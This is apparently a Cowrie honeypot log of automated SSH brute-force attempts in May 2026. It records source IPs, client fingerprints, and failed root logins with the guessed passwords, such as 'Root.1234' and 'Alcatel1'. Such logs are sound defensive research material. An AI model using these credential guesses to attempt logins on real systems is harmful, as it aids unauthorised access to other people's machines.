{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd3f5a8ede6","protocol":"ssh","message":"New connection: 2.57.122.208:55918 (159.203.135.109:22) [session: 6cd3f5a8ede6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:52.727918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:53.017600Z","src_ip":"2.57.122.208","session":"6cd3f5a8ede6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:53.022149Z","src_ip":"2.57.122.208","session":"6cd3f5a8ede6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coreelec","message":"login attempt [root/coreelec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:53.170345Z","src_ip":"60.165.124.241","session":"2d6eb1ad5b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:54.424868Z","src_ip":"60.165.124.241","session":"2d6eb1ad5b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:54.583643Z","src_ip":"2.57.122.208","session":"6cd3f5a8ede6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45462,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e6a2f8e82a","protocol":"ssh","message":"New connection: 60.165.124.241:45462 (10.17.0.5:22) [session: 29e6a2f8e82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:54.649190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:54.654463Z","src_ip":"60.165.124.241","session":"29e6a2f8e82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:54.901003Z","src_ip":"60.165.124.241","session":"29e6a2f8e82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456!","message":"login attempt [root/Qq123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:55.914779Z","src_ip":"60.165.124.241","session":"29e6a2f8e82a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:56.264456Z","src_ip":"2.57.122.208","session":"6cd3f5a8ede6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:57.157220Z","src_ip":"60.165.124.241","session":"29e6a2f8e82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48990,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c5c427c8ab","protocol":"ssh","message":"New connection: 60.165.124.241:48990 (10.17.0.5:22) [session: 72c5c427c8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:57.403099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:57.419364Z","src_ip":"60.165.124.241","session":"72c5c427c8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:57.672854Z","src_ip":"60.165.124.241","session":"72c5c427c8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root.1234","message":"login attempt [root/Root.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:58.426186Z","src_ip":"60.165.124.241","session":"72c5c427c8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:59.673715Z","src_ip":"60.165.124.241","session":"72c5c427c8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52102,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfb862e8fa8b","protocol":"ssh","message":"New connection: 60.165.124.241:52102 (10.17.0.5:22) [session: cfb862e8fa8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:59.915439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:59.920217Z","src_ip":"60.165.124.241","session":"cfb862e8fa8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:00.168203Z","src_ip":"60.165.124.241","session":"cfb862e8fa8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123$","message":"login attempt [root/Test123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:00.895205Z","src_ip":"60.165.124.241","session":"cfb862e8fa8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:02.135647Z","src_ip":"60.165.124.241","session":"cfb862e8fa8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54986,"dst_ip":"10.17.0.5","dst_port":22,"session":"7706bffbc617","protocol":"ssh","message":"New connection: 60.165.124.241:54986 (10.17.0.5:22) [session: 7706bffbc617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:02.371731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:02.383650Z","src_ip":"60.165.124.241","session":"7706bffbc617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:02.622546Z","src_ip":"60.165.124.241","session":"7706bffbc617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Alcatel1","message":"login attempt [root/Alcatel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:03.354837Z","src_ip":"60.165.124.241","session":"7706bffbc617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:04.597570Z","src_ip":"60.165.124.241","session":"7706bffbc617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57884,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab525e6c61de","protocol":"ssh","message":"New connection: 60.165.124.241:57884 (10.17.0.5:22) [session: ab525e6c61de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:04.832934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:04.837441Z","src_ip":"60.165.124.241","session":"ab525e6c61de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:05.076023Z","src_ip":"60.165.124.241","session":"ab525e6c61de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12#$","message":"login attempt [root/Admin@12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:05.799074Z","src_ip":"60.165.124.241","session":"ab525e6c61de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:07.040443Z","src_ip":"60.165.124.241","session":"ab525e6c61de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60988,"dst_ip":"10.17.0.5","dst_port":22,"session":"3480a07c29a3","protocol":"ssh","message":"New connection: 60.165.124.241:60988 (10.17.0.5:22) [session: 3480a07c29a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:07.271437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:07.276098Z","src_ip":"60.165.124.241","session":"3480a07c29a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:07.516194Z","src_ip":"60.165.124.241","session":"3480a07c29a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz@123456","message":"login attempt [root/qaz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:08.237592Z","src_ip":"60.165.124.241","session":"3480a07c29a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:09.476679Z","src_ip":"60.165.124.241","session":"3480a07c29a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35972,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2ec42bcea7","protocol":"ssh","message":"New connection: 60.165.124.241:35972 (10.17.0.5:22) [session: 7f2ec42bcea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:09.725274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:09.730438Z","src_ip":"60.165.124.241","session":"7f2ec42bcea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:09.977476Z","src_ip":"60.165.124.241","session":"7f2ec42bcea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luna","message":"login attempt [root/luna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:10.721571Z","src_ip":"60.165.124.241","session":"7f2ec42bcea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:11.969190Z","src_ip":"60.165.124.241","session":"7f2ec42bcea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38602,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa27b8ff7251","protocol":"ssh","message":"New connection: 60.165.124.241:38602 (10.17.0.5:22) [session: fa27b8ff7251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:12.219476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:12.224243Z","src_ip":"60.165.124.241","session":"fa27b8ff7251","protocol":"ssh"}
